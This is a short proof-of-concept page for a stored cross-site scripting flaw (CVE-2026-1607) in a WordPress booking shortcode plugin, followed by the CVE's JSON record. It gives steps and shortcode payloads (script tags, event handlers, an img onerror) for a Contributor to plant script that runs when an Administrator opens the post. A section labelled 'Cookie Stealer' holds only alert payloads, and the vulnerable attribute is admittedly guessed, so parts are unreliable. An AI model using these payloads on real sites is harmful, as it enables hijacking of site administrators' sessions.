CVE-2026-1607

<!-- PoC for CVE-2026-1607: Stored XSS in Surbma Booking.com Shortcode Description: Inject malicious script via shortcode attributes. --> <!-- Step 1: As a Contributor user, create a new Post/Page. --> <!-- Step 2: Insert the following shortcode into the content editor. --> [surbma-bookingcom some_attribute="value"><script>alert('CVE-2026-1607_PoC');</script><"] <!-- Note: Replace 'some_attribute' with the actual vulnerable parameter if known, otherwise the payload targets the general attribute handling mechanism. When an Administrator views this post, the alert box will trigger. --> <!-- Advanced Payload (Cookie Stealer) --> [surbma-bookingcom id="1" onmouseover="alert(1)"] [surbma-bookingcom attr='"><img src=x onerror=alert(1)>']

{"cve": {"id": "CVE-2026-1607", "sourceIdentifier": "[email protected]", "published": "2026-04-14T04:17:00.163", "lastModified": "2026-04-22T20:23:16.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Surbma | Booking.com Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `surbma-bookingcom` shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/surbma-bookingcom-shortcode/tags/2.0/surbma-bookingcom-shortcode.php#L34", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/01280afb-4745-4f36-823e-ed794bb3353a?source=cve", "source": "[email protected]"}]}}